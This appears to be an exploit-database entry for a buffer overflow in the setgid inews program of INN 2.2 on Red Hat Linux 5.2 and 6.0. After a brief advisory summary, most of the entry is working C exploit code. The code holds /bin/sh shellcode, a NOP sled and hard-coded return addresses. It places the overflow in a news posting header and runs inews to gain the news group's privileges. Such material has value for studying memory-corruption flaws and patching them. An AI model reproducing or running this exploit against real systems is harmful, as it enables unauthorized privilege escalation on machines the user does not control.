ISC INN 2.2 / RedHat Linux 6.0 - inews Buffer Overflow

// source: https://www.securityfocus.com/bid/616/info


INN versions 2.2 and earlier have a buffer overflow-related security condition in the inews program.

inews is a program used to inject new postings into the news system. It is used by many news reading programs and scripts. The default installation is with inews setgid to the news group and world executable. It's possible that exploiting the buffer overflow could give the attacker news group privileges, which could possibly be extended to root access. 

/* inews exploit , gives you the inews egid .
* bawd@kitetoa.com
* greetz to nitro,shivan,rfp & Minus :)
*
*
* RET addresses change between RH 5.2 ,6.0 etc..
*
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0



main (int argc, char *argv[])
{
FILE *fp;
int offset = 0;
char *buff = NULL;
int i;

u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";



if (argc > 1)
offset = atoi (argv[1]);

buff = malloc (1024);

if (!buff)
{
printf ("malloc isnt working\n");
exit (0);
}

memset (buff, 0x90, BUFFER_SIZE);

for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;

memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));

if ((fp = fopen ("filez", "w")) != NULL)
{
  fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", 
buff);
  fclose (fp);
  execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
  }

else {
     printf ("Couldnt open file : filez\n");
     exit (0);
     }

}